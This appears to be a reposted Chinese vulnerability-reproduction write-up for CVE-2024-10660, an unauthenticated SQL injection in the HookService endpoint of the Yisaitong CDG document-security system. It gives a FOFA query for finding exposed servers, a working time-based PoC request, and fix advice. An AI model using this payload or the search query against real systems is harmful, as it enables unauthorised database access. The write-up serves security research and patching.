亿赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)

admin
admin
admin
139580
文章
114
评论
2024年11月13日21:55:52评论67 views字数 868阅读2分53秒阅读模式

 

0x02

产品介绍

某赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全加密软件，该系统利用驱动层透明加密技术，通过对电子文档的加密保护，防止内部员工泄密和外部人员非法窃取企业核心重要数据资产，对电子文档进行全生命周期防护，系统具有透明加密、主动加密、智能加密等多种加密方式，用户可根据部门涉密程度的不同（如核心部门和普通部门），部署力度轻重不一的梯度式文档加密防护，实现技术、管理、审计进行有机的结合，在内部构建起立体化的整体信息防泄露体系，使得成本、效率和安全三者达到平衡，实现电子文档的数据安全。
0x03

漏洞威胁

由于某赛通电子文档安全管理系统 HookService 处的hookId参数处对传入的数据没有预编译和充足的校验，导致该接口存在SQL注入漏洞，未授权的攻击者可获取数据库敏感信息。
0x04

漏洞环境

FOFA:

body="/CDGServer3/index.jsp"

亿赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)

0x05

漏洞复现

PoC

GET /CDGServer3/parameter/HookService;logindojojs?command=DelHookService&hookId=1';WAITFOR+DELAY+'0:0:8'-- HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Accept: */*Accept-Encoding: gzip, deflate, brAccept-Language: zh-Hans-CN;q=1Connection: close

延时

亿赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)

0x06

批量脚本验证

Nuclei验证脚本已发布
知识星球：冷漠安全

亿赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)

0x07

修复建议

关闭互联网暴露面，使用预编译SQL语句

升级至安全版本

0x08

 

原文始发于微信公众号（冷漠安全）：「漏洞复现」某赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)

 

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月13日21:55:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   亿赛通电子文档安全管理系统 HookService SQL注入漏洞复现(CVE-2024-10660)https://cn-sec.com/archives/3391563.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息